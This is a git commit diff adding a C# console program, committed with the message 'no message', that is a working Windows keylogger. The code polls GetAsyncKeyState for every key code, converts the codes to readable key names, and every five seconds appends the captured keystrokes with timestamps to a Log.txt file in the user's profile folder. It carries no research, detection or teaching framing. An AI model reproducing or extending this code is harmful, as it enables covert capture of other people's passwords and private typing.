no message

This commit is contained in:
adam 2023-05-21 11:17:13 -04:00
parent 06c8380a64
commit 053ee984d9

View File

@ -1,21 +1,171 @@
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
namespace project1;
static void Main(string[] args)
using System.Runtime.InteropServices;
using System.Timers;
internal class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
private static string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Log.txt";
private static string buffer = "";
static void Main(string[] args)
{
Timer t = new Timer();
t.Interval = 5000;
t.AutoReset = true;
t.Elapsed += T_Elapsed;
t.Enabled = true;
Console.Write("Hello, World!");
while (true)
{
Thread.Sleep(100);
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
// 32769 should be used for windows 10.
if (keyState == 1 || keyState == -32767 || keyState == 32769)
{
Console.WriteLine((char)i);
break;
buffer += normalizeKey(i);
}
}
}
}
private static void T_Elapsed(object? sender, ElapsedEventArgs e)
{
var myBuffer = buffer;
buffer = "";
if (!string.IsNullOrEmpty(myBuffer))
{
using (var file = new StreamWriter(path, true))
{
file.AutoFlush = false;
file.WriteLine(DateTime.Now);
file.WriteLine(myBuffer);
Console.Write(":) ");
}
}
}
private static string normalizeKey(int code)
{
switch (code)
{
case 8: return "[Back]";
case 9: return "[TAB]";
case 13: return "[Enter]";
case 19: return "[Pause]";
case 20: return "[Caps Lock]";
case 27: return "[Esc]";
case 32: return "[Space]";
case 33: return "[Page Up]";
case 34: return "[Page Down]";
case 35: return "[End]";
case 36: return "[Home]";
case 37: return "[Left]";
case 38: return "[Up]";
case 39: return "[Right]";
case 40: return "[Down]";
case 44: return "[Print Screen]";
case 45: return "[Insert]";
case 46: return "[Delete]";
case 48: return "0";
case 49: return "1";
case 50: return "2";
case 51: return "3";
case 52: return "4";
case 53: return "5";
case 54: return "6";
case 55: return "7";
case 56: return "8";
case 57: return "9";
case 65: return "a";
case 66: return "b";
case 67: return "c";
case 68: return "d";
case 69: return "e";
case 70: return "f";
case 71: return "g";
case 72: return "h";
case 73: return "i";
case 74: return "j";
case 75: return "k";
case 76: return "l";
case 77: return "m";
case 78: return "n";
case 79: return "o";
case 80: return "p";
case 81: return "q";
case 82: return "r";
case 83: return "s";
case 84: return "t";
case 85: return "u";
case 86: return "v";
case 87: return "w";
case 88: return "x";
case 89: return "y";
case 90: return "z";
case 91: return "[Windows]";
case 92: return "[Windows]";
case 93: return "[List]";
case 96: return "0";
case 97: return "1";
case 98: return "2";
case 99: return "3";
case 100: return "4";
case 101: return "5";
case 102: return "6";
case 103: return "7";
case 104: return "8";
case 105: return "9";
case 106: return "*";
case 107: return "+";
case 109: return "-";
case 110: return ",";
case 111: return "/";
case 112: return "[F1]";
case 113: return "[F2]";
case 114: return "[F3]";
case 115: return "[F4]";
case 116: return "[F5]";
case 117: return "[F6]";
case 118: return "[F7]";
case 119: return "[F8]";
case 120: return "[F9]";
case 121: return "[F10]";
case 122: return "[F11]";
case 123: return "[F12]";
case 144: return "[Num Lock]";
case 145: return "[Scroll Lock]";
case 160: return "[Shift]";
case 161: return "[Shift]";
case 162: return "[Ctrl]";
case 163: return "[Ctrl]";
case 164: return "[Alt]";
case 165: return "[Alt]";
case 187: return "=";
case 186: return "ç";
case 188: return ",";
case 189: return "-";
case 190: return ".";
case 192: return "'";
case 191: return ";";
case 193: return "/";
case 194: return ".";
case 219: return "´";
case 220: return "]";
case 221: return "[";
case 222: return "~";
case 226: return "\\";
default:
return "[" + code + "]";
}
}
}